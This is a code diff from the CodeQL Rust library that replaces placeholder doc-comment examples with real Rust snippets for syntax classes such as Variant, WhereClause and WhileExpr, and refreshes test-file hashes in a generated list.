b/rust/ql/lib/codeql/rust/elements/internal/generated/UseBoundGenericArgs.qll @@ -15,6 +15,13 @@ import codeql.rust.elements.UseBoundGenericArg */ module Generated { /** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` * INTERNAL: Do not reference the `Generated::UseBoundGenericArgs` class directly. * Use the subclass `UseBoundGenericArgs`, where the following predicates are available. */ diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll index 2f4e6019c12b..f7cd7533582b 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTree.qll @@ -17,7 +17,7 @@ import codeql.rust.elements.UseTreeList */ module Generated { /** - * A UseTree. For example: + * A `use` tree, ie the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll index 9aa72b89a1ee..fa45430d09bf 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/UseTreeList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.UseTree */ module Generated { /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::UseTreeList` class directly. * Use the subclass `UseTreeList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll index 75b83ea647ec..93d4fc6a4160 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Variant.qll @@ -20,9 +20,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::Variant` class directly. * Use the subclass `Variant`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll index a09fcb80e3dd..e0ba8bfab156 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/VariantList.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Variant */ module Generated { /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::VariantList` class directly. * Use the subclass `VariantList`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll index ba397d4a5d25..0bffcca7b063 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Visibility.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.Path */ module Generated { /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` * INTERNAL: Do not reference the `Generated::Visibility` class directly. * Use the subclass `Visibility`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll index 727af1be1362..5b7080a7afaf 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WhereClause.qll @@ -15,9 +15,12 @@ import codeql.rust.elements.WherePred */ module Generated { /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::WhereClause` class directly. * Use the subclass `WhereClause`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll index 6e68c7a25a69..cd835e33850c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WherePred.qll @@ -18,9 +18,12 @@ import codeql.rust.elements.TypeRepr */ module Generated { /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::WherePred` class directly. * Use the subclass `WherePred`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll index fa4a4aee65c5..b62e1256d618 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/WhileExpr.qll @@ -16,9 +16,13 @@ import codeql.rust.elements.internal.LoopingExprImpl::Impl as LoopingExprImpl */ module Generated { /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` * INTERNAL: Do not reference the `Generated::WhileExpr` class directly. * Use the subclass `WhileExpr`, where the following predicates are available. diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list index 41076ea57ae9..6fc2634396ef 100644 --- a/rust/ql/test/extractor-tests/generated/.generated_tests.list +++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list @@ -1,11 +1,22 @@ -Abi/gen_abi.rs 5d2f6eccb2bab86080188be9700ab64a34fa6e8e8e7b08f65a5c97d1de0a900c 5d2f6eccb2bab86080188be9700ab64a34fa6e8e8e7b08f65a5c97d1de0a900c -ArgList/gen_arg_list.rs 569d0b9b0479de5453ae0f89e4f90e32b02ee84dfb3d815821d722ece6f75b64 569d0b9b0479de5453ae0f89e4f90e32b02ee84dfb3d815821d722ece6f75b64 +Abi/gen_abi.rs 817dffd17949dbd9e144163c73bbda50cb33a91bf1ca6ed60233216b81ee4770 817dffd17949dbd9e144163c73bbda50cb33a91bf1ca6ed60233216b81ee4770 +ArgList/gen_arg_list.rs 997959d661e34531ad42fc5cc214ed6bb2e318d91e94388ea94e245f5869d9a3 997959d661e34531ad42fc5cc214ed6bb2e318d91e94388ea94e245f5869d9a3 ArrayListExpr/gen_array_list_expr.rs 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 ArrayRepeatExpr/gen_array_repeat_expr.rs 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e -ArrayTypeRepr/gen_array_type_repr.rs 9cf7a12a6f7da3342db4ab65dfb5deefb1ef57398e2236fbb49d3280dad944ae 9cf7a12a6f7da3342db4ab65dfb5deefb1ef57398e2236fbb49d3280dad944ae +ArrayTypeRepr/gen_array_type_repr.rs 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e +AsmClobberAbi/gen_asm_clobber_abi.rs d4aa071ad5bbd693b6482e3ed20d04c3e575df689b7b660def13a76177d96796 d4aa071ad5bbd693b6482e3ed20d04c3e575df689b7b660def13a76177d96796 +AsmConst/gen_asm_const.rs ab5faeef4612f4c4898d4aacabd45c61accc3b0111920ed640abd3aa1fa38d72 ab5faeef4612f4c4898d4aacabd45c61accc3b0111920ed640abd3aa1fa38d72 +AsmDirSpec/gen_asm_dir_spec.rs 42a5fe5835440189bcad16c470e1faa1888e1770e6789d888919f06b08bb13b9 42a5fe5835440189bcad16c470e1faa1888e1770e6789d888919f06b08bb13b9 AsmExpr/gen_asm_expr.rs 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 -AssocTypeArg/gen_assoc_type_arg.rs 00ec0e22c4d73338de605dc3b1b1306bc83a95f87376ce976f08d2f9923cc2b4 00ec0e22c4d73338de605dc3b1b1306bc83a95f87376ce976f08d2f9923cc2b4 -Attr/gen_attr.rs cd6e50f5ebb17066209682b1a9f22ff116584ffef180d8ab51e2ba5cab6a91ec cd6e50f5ebb17066209682b1a9f22ff116584ffef180d8ab51e2ba5cab6a91ec +AsmLabel/gen_asm_label.rs 282c2d385796f35d4b306e9f8a98fb06e8a39cd1fbea27b276783eb5c28bde40 282c2d385796f35d4b306e9f8a98fb06e8a39cd1fbea27b276783eb5c28bde40 +AsmOperandExpr/gen_asm_operand_expr.rs 25e7537453eb0bbe9bf23aa95497dc507638656ca52ab287e01c304caee10d4d 25e7537453eb0bbe9bf23aa95497dc507638656ca52ab287e01c304caee10d4d +AsmOperandNamed/gen_asm_operand_named.rs 6496d9f1e0024bee168dd423545c89fbef6b3040ed61cce5ad31c48d8218323d 6496d9f1e0024bee168dd423545c89fbef6b3040ed61cce5ad31c48d8218323d +AsmOption/gen_asm_option.rs a3c3537d3ec320fd989d004133c8e544cb527c6ca5dd38fbf821cb8ad59478ae a3c3537d3ec320fd989d004133c8e544cb527c6ca5dd38fbf821cb8ad59478ae +AsmOptionsList/gen_asm_options_list.rs 0bd76fbbc68f464546fbcac549cd8d34f890ea35e4656afa4ca9f2238126b4ca 0bd76fbbc68f464546fbcac549cd8d34f890ea35e4656afa4ca9f2238126b4ca +AsmRegOperand/gen_asm_reg_operand.rs fec61325b834a006c3d734a3395e4332381d37324ba8853379384a936959eb41 fec61325b834a006c3d734a3395e4332381d37324ba8853379384a936959eb41 +AsmRegSpec/gen_asm_reg_spec.rs d4113dc15e5ca4523f46d64d17949885cb78341306d26d9a7bce5c2684d08ebd d4113dc15e5ca4523f46d64d17949885cb78341306d26d9a7bce5c2684d08ebd +AsmSym/gen_asm_sym.rs 655bd12f51eec1de83bd097e9ff98048aeba645b4061fdd9870c9986f3f4944b 655bd12f51eec1de83bd097e9ff98048aeba645b4061fdd9870c9986f3f4944b +AssocTypeArg/gen_assoc_type_arg.rs 476792f19a54e77be6ce588848de8d652a979e4d88edc9ff62221f0974d7421c 476792f19a54e77be6ce588848de8d652a979e4d88edc9ff62221f0974d7421c +Attr/gen_attr.rs ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 AwaitExpr/gen_await_expr.rs cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 BecomeExpr/gen_become_expr.rs ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c BinaryExpr/gen_binary_expr.rs 5ea68396dc2e3ff7fcaf5a5201636dd175dd45be36647b6ae0043c765ce24549 5ea68396dc2e3ff7fcaf5a5201636dd175dd45be36647b6ae0043c765ce24549 @@ -14,24 +25,24 @@ BoxPat/gen_box_pat.rs 1493e24b732370b577ade38c47db17fa157df19f5390606a67a6040e49 BreakExpr/gen_break_expr.rs aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 CallExpr/gen_call_expr.rs 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 CastExpr/gen_cast_expr.rs c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 -ClosureBinder/gen_closure_binder.rs 78d3219bdfc58a22f333e3c82468fc23001e92b1d5acb085de7f48d7d1722244 78d3219bdfc58a22f333e3c82468fc23001e92b1d5acb085de7f48d7d1722244 +ClosureBinder/gen_closure_binder.rs 1d6f9b45936bdf18a5a87decdf15bc5e477aabdd47bbc2c52d0de07e105600f9 1d6f9b45936bdf18a5a87decdf15bc5e477aabdd47bbc2c52d0de07e105600f9 ClosureExpr/gen_closure_expr.rs 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 Comment/gen_comment.rs 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 -Const/gen_const.rs fea9d399fe4036c55b94b419ecb1cbb3131248ae338c20d383080dd1ca30f274 fea9d399fe4036c55b94b419ecb1cbb3131248ae338c20d383080dd1ca30f274 -ConstArg/gen_const_arg.rs feab3cdbbc469a287884ff7605e9a7541f904e9e5bd1f14a8e0f741fa970dd7c feab3cdbbc469a287884ff7605e9a7541f904e9e5bd1f14a8e0f741fa970dd7c +Const/gen_const.rs a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f +ConstArg/gen_const_arg.rs 6a15d099c61ffa814e8e0e0fca2d8ff481d73ad81959064e0a214d3172a9d49e 6a15d099c61ffa814e8e0e0fca2d8ff481d73ad81959064e0a214d3172a9d49e ConstBlockPat/gen_const_block_pat.rs 7e3057cd24d22e752354369cf7e08e9536642812c0947b36aa5d8290a45476fd 7e3057cd24d22e752354369cf7e08e9536642812c0947b36aa5d8290a45476fd -ConstParam/gen_const_param.rs f0a4176333b9519b4cc2533a083f68f6859b5b0855d1b0dbcef4d4e206721830 f0a4176333b9519b4cc2533a083f68f6859b5b0855d1b0dbcef4d4e206721830 +ConstParam/gen_const_param.rs 71f22d907b0011dafc333f37635f0ee5b1eef2313b5a26cd2a21508a8e96c19a 71f22d907b0011dafc333f37635f0ee5b1eef2313b5a26cd2a21508a8e96c19a ContinueExpr/gen_continue_expr.rs 63840dcd8440aaf1b96b713b80eb2b56acb1639d3200b3c732b45291a071b5ff 63840dcd8440aaf1b96b713b80eb2b56acb1639d3200b3c732b45291a071b5ff -DynTraitTypeRepr/gen_dyn_trait_type_repr.rs ca6cb23c5996713121e3920652251c1c75136d31319558e366ef56941e9fe7de ca6cb23c5996713121e3920652251c1c75136d31319558e366ef56941e9fe7de -Enum/gen_enum.rs efa816c579bfba60d1f32f818b022956d08d397af508c82b7331f14615f25be4 efa816c579bfba60d1f32f818b022956d08d397af508c82b7331f14615f25be4 +DynTraitTypeRepr/gen_dyn_trait_type_repr.rs 1864f3900bdae6f4a0a428e0b2a1266b758dfa8f27059353a639612d8829f4dd 1864f3900bdae6f4a0a428e0b2a1266b758dfa8f27059353a639612d8829f4dd +Enum/gen_enum.rs 59c6dc0185c6b0dd877ce1b2291d3b8ab05041194b7bfc948e97baa4908605fa 59c6dc0185c6b0dd877ce1b2291d3b8ab05041194b7bfc948e97baa4908605fa ExprStmt/gen_expr_stmt.rs 6ce47428a8d33b902c1f14b06cc375d08eff95251e4a81dac2fa51872b7649b1 6ce47428a8d33b902c1f14b06cc375d08eff95251e4a81dac2fa51872b7649b1 -ExternBlock/gen_extern_block.rs 5b5c4d7a2c4a91027df1578b74900ae1b971aede7720ab12de9bb918c42a583d 5b5c4d7a2c4a91027df1578b74900ae1b971aede7720ab12de9bb918c42a583d -ExternCrate/gen_extern_crate.rs 9b3ab23a56b7778723ce436b25310547b2b0aeca3e5c6b7e61f273b5ce5573e3 9b3ab23a56b7778723ce436b25310547b2b0aeca3e5c6b7e61f273b5ce5573e3 -ExternItemList/gen_extern_item_list.rs ff2baaaa32099808b86fbf6f4853171146594d5db23c6ee447eb5cec10cee7cf ff2baaaa32099808b86fbf6f4853171146594d5db23c6ee447eb5cec10cee7cf +ExternBlock/gen_extern_block.rs 18c28123d50c31b7148475a2812d97226f75786083d5d2cf419117bacfe07687 18c28123d50c31b7148475a2812d97226f75786083d5d2cf419117bacfe07687 +ExternCrate/gen_extern_crate.rs 8d6bfd8d993a8e3a95ae9ccb576bd55be0c6a1d0893cfe15fa675174dbde9d7d 8d6bfd8d993a8e3a95ae9ccb576bd55be0c6a1d0893cfe15fa675174dbde9d7d +ExternItemList/gen_extern_item_list.rs f9a03ddf20387871b96994915c9a725feb333d061544c0fb6d2e6b1a1961d6ed f9a03ddf20387871b96994915c9a725feb333d061544c0fb6d2e6b1a1961d6ed FieldExpr/gen_field_expr.rs 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b -FnPtrTypeRepr/gen_fn_ptr_type_repr.rs 46af312570a9caec11e14ba05190e95e750c32565559f1622a132f7145320253 46af312570a9caec11e14ba05190e95e750c32565559f1622a132f7145320253 -ForExpr/gen_for_expr.rs 67decf3073e1a9363d9df05a5a64a6059349e50b81356f480f7aeb352189136d 67decf3073e1a9363d9df05a5a64a6059349e50b81356f480f7aeb352189136d -ForTypeRepr/gen_for_type_repr.rs 5108a5d63ce440305b92dd87387c22a0a57abfd19d88e03e1984e1537779f4a4 5108a5d63ce440305b92dd87387c22a0a57abfd19d88e03e1984e1537779f4a4 +FnPtrTypeRepr/gen_fn_ptr_type_repr.rs c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e +ForExpr/gen_for_expr.rs 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 +ForTypeRepr/gen_for_type_repr.rs d41db529dd031e96bf3de98091b67c11a89c99d86cb7b0f98097353c7ba00350 d41db529dd031e96bf3de98091b67c11a89c99d86cb7b0f98097353c7ba00350 FormatArgsExpr/gen_format.rs e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 FormatArgsExpr/gen_format_args_arg.rs 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f FormatArgsExpr/gen_format_args_expr.rs 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 @@ -41,103 +52,105 @@ GenericArgList/gen_generic_arg_list.rs cfb072d3b48f9dd568c23d4dfefba28766628678f GenericParamList/gen_generic_param_list.rs 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a 3a1981a7c4731329ad6da0d887f09be04f31342d94f44711ac0ac455930f773a IdentPat/gen_ident_pat.rs 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477 87f9201ca47683ff6f12a0c844c062fdedb6d86546794522d358b117ba0fe477 IfExpr/gen_if_expr.rs 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8 2df66735394ebb20db29d3fbf2721ad4812afbe8d4614d03f26265c1f481f1e8 -Impl/gen_impl.rs dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed dd97fa44ec844b735b30e7dfd1b8ecd4449c7914af1ea427edcba848194a84ed -ImplTraitTypeRepr/gen_impl_trait_type_repr.rs 3d8bc5bb967bcb3ff38bf0487411e2945a57b36aad43dedcad17de9c6bf717d5 3d8bc5bb967bcb3ff38bf0487411e2945a57b36aad43dedcad17de9c6bf717d5 +Impl/gen_impl.rs cfab33eb5e98b425b1d88be5f09f742be6c4f8d402e1becd4421aabb0431aadd cfab33eb5e98b425b1d88be5f09f742be6c4f8d402e1becd4421aabb0431aadd +ImplTraitTypeRepr/gen_impl_trait_type_repr.rs ebfa4d350ae5759bf7df6adf790d2d892c7a0d708f3340ccf3e12a681cb78f00 ebfa4d350ae5759bf7df6adf790d2d892c7a0d708f3340ccf3e12a681cb78f00 IndexExpr/gen_index_expr.rs 22d7f81ba43dc63f1f49e21a2c25ce25a1b8f6e8e95e1a66f518f010a4d73c61 22d7f81ba43dc63f1f49e21a2c25ce25a1b8f6e8e95e1a66f518f010a4d73c61 -InferTypeRepr/gen_infer_type_repr.rs 96f1b2d20319b031dde75b0bd612d4a4366315f2bc75590e5e422603f7a35541 96f1b2d20319b031dde75b0bd612d4a4366315f2bc75590e5e422603f7a35541 -ItemList/gen_item_list.rs 2ea6180e66de963627aabdaf64ce3c95c40cc7628d8734607ae2720bab857643 2ea6180e66de963627aabdaf64ce3c95c40cc7628d8734607ae2720bab857643 +InferTypeRepr/gen_infer_type_repr.rs cd50eaeffdf16e0e896b14b665590251a4d383c123502ed667d8b1f75000f559 cd50eaeffdf16e0e896b14b665590251a4d383c123502ed667d8b1f75000f559 +ItemList/gen_item_list.rs 5da9f631030568c80aa0b126369990070cebcd1805827a8077320d4bec789a4e 5da9f631030568c80aa0b126369990070cebcd1805827a8077320d4bec789a4e Label/gen_label.rs 0584f519f210f621d7ebc0cb8c95ce05db0795d6109c0d16866f8f699a28213c 0584f519f210f621d7ebc0cb8c95ce05db0795d6109c0d16866f8f699a28213c -LetElse/gen_let_else.rs 2cb09461b0ea48f666bd65a208663e64a874efadacb22764301871ea07956901 2cb09461b0ea48f666bd65a208663e64a874efadacb22764301871ea07956901 +LetElse/gen_let_else.rs 7e953f63a3602532c5b4a3362bbbaa24285de7f1ada0d70697e294a9cc3a555c 7e953f63a3602532c5b4a3362bbbaa24285de7f1ada0d70697e294a9cc3a555c LetExpr/gen_let_expr.rs 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 LetStmt/gen_let_stmt.rs 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb -Lifetime/gen_lifetime.rs 4f5c39d68e29ee4a351379ae9aa9c216f750b8858dac94d30928a348bee87a20 4f5c39d68e29ee4a351379ae9aa9c216f750b8858dac94d30928a348bee87a20 -LifetimeArg/gen_lifetime_arg.rs 95616e0dc445679761f4a60fe03247418b2c5979251413e309306b1c8fbf09de 95616e0dc445679761f4a60fe03247418b2c5979251413e309306b1c8fbf09de -LifetimeParam/gen_lifetime_param.rs 2caed50ce48360681271e4e89fde0d6d9076ebb9cd9c62fc4d43109cd873b31c 2caed50ce48360681271e4e89fde0d6d9076ebb9cd9c62fc4d43109cd873b31c +Lifetime/gen_lifetime.rs afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 +LifetimeArg/gen_lifetime_arg.rs 0dbbedbb81358bc96b6689028c32c161cf9bebe3c6c5727c3ad5e0c69814d37e 0dbbedbb81358bc96b6689028c32c161cf9bebe3c6c5727c3ad5e0c69814d37e +LifetimeParam/gen_lifetime_param.rs e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 LiteralExpr/gen_literal_expr.rs 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d LiteralPat/gen_literal_pat.rs a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 LoopExpr/gen_loop_expr.rs 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 MacroBlockExpr/gen_macro_block_expr.rs 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b -MacroCall/gen_macro_call.rs 139ef2c69323eea1a901e260d4e2acdd00b26f013b90c9344f48c6503ce29d79 139ef2c69323eea1a901e260d4e2acdd00b26f013b90c9344f48c6503ce29d79 -MacroDef/gen_macro_def.rs 17c5387fb464a60b4a4520d22b055ba35ff23e9fe431a18a33808ae02c4bbff5 17c5387fb464a60b4a4520d22b055ba35ff23e9fe431a18a33808ae02c4bbff5 -MacroExpr/gen_macro_expr.rs 3c23dc88fcc4bc8f97d9364d2f367671a0a5a63d07e52237d28204b64756dcdb 3c23dc88fcc4bc8f97d9364d2f367671a0a5a63d07e52237d28204b64756dcdb +MacroCall/gen_macro_call.rs 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b +MacroDef/gen_macro_def.rs 07052ad401fd96cc539968f33fc7fe8d92359185e33bf8a5ae10e230345e3a85 07052ad401fd96cc539968f33fc7fe8d92359185e33bf8a5ae10e230345e3a85 +MacroExpr/gen_macro_expr.rs 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 5e1748356f431eea343a2aad2798c22073151940ea2cda0f0cce78c3d96104f0 MacroItems/gen_macro_items.rs c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 c00f8045d9a7d6562da1d0136b335b685e2ec5dbd708763faa24a752e89feda4 -MacroPat/gen_macro_pat.rs b8041370598bd7fb26778d829a15c415c2078d69124f6af634ddeba13a114aa0 b8041370598bd7fb26778d829a15c415c2078d69124f6af634ddeba13a114aa0 -MacroRules/gen_macro_rules.rs 7e03b410f4669e422d3b4328f7aafdca2e286e5d951495dd69cee0d44cb793a9 7e03b410f4669e422d3b4328f7aafdca2e286e5d951495dd69cee0d44cb793a9 -MacroTypeRepr/gen_macro_type_repr.rs 03c15f1fd5af63821e49a125d236704c63889fe20a32f03f3ecf3e29b1cad9df 03c15f1fd5af63821e49a125d236704c63889fe20a32f03f3ecf3e29b1cad9df +MacroPat/gen_macro_pat.rs df275f17b7af1f1ad42c60a94ca0be9df7fbd3ffeaa4c0d3e8f54a00eed1e38d df275f17b7af1f1ad42c60a94ca0be9df7fbd3ffeaa4c0d3e8f54a00eed1e38d +MacroRules/gen_macro_rules.rs 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 5483484783b19a4f4cb7565cf63c517e61a76ce5b5b4bdc9b90f7e235a4c03b7 +MacroTypeRepr/gen_macro_type_repr.rs 9c7661a8a724cffdccf61b21574eab7d988420044f12ae2e830ae4a90a85ef15 9c7661a8a724cffdccf61b21574eab7d988420044f12ae2e830ae4a90a85ef15 MatchArm/gen_match_arm.rs ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 ac75b4836a103e2755bd47a1ee1b74af6eb8349adc4ebedaaa27b3ea3ae41aa5 -MatchArmList/gen_match_arm_list.rs dbf36444d371421a2b8768a188660dd45ed3b823fb1c56b90c1ba77f177d23d6 dbf36444d371421a2b8768a188660dd45ed3b823fb1c56b90c1ba77f177d23d6 +MatchArmList/gen_match_arm_list.rs 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 6dcb92591c86771d2aeb762e4274d3e61a7d6c1a42da3dbace1cbc545b474080 MatchExpr/gen_match_expr.rs 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 081c5d4c78cb71ccd13fb37a93d7f525267c51b179f44b5a22ca3297897002a0 -MatchGuard/gen_match_guard.rs d2b4bd28bf175620383a01584171f641990136c5b3087a66b3261d11747573ff d2b4bd28bf175620383a01584171f641990136c5b3087a66b3261d11747573ff -Meta/gen_meta.rs e5c16b61f41a5fb5e4f83d4a7103ece0ff97656ac2e06d9040adc7101c6dbef2 e5c16b61f41a5fb5e4f83d4a7103ece0ff97656ac2e06d9040adc7101c6dbef2 +MatchGuard/gen_match_guard.rs f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a f0e84a1f608c0361983c516a40216cea149620a36e0aed7ff39b0b7d77a9ab8a +Meta/gen_meta.rs 0d89c584d9ce0a36c3cf453642aa6bb2bb588c0d693fdf7ee565e73b082a9dd5 0d89c584d9ce0a36c3cf453642aa6bb2bb588c0d693fdf7ee565e73b082a9dd5 MethodCallExpr/gen_method_call_expr.rs f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d f2b4679eb1ec095981fe6bd656b632c22bf6bd0da133309da3f7ef5bd1ab4b5d Module/gen_module.rs 